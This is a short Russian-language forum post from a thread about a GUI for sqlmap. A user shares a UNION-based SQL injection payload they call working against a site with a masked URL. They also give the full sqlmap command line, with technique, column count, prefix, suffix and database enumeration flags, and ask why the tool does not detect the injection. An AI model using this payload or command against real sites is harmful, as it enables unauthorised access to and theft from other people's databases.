Тема: Gui for SqlMap
Показать сообщение отдельно

  #65  
Старый 20.09.2013, 22:19
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами: 11141693

Репутация: 56
По умолчанию

Ну как я и говорил - суффиксы-префиксы тут ни к чему.

вот это рабочая скуля

Цитата:
Сообщение от None  
[20:13:34] [PAYLOAD] 524 and 1=0 UNION ALL SELECT 1,CONCAT(0x3a7278633a,0x746b4b414e7157596a6a,0x3a7 5787a3a),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1 --+
Но скульмап ее не видит

Цитата:
Сообщение от None  
20:14:03] [WARNING] GET parameter 'id' is not injectable
Строка такая:

Цитата:
Сообщение от None  
--technique=U --dbs -v 3 --union-char=1 --union-cols=27 --prefix=" and 1=0" --suffix="--+" --url="http://*******/index.php?action=*****&id=524" -p id --dbs --dbms=mysql
 
Ответить с цитированием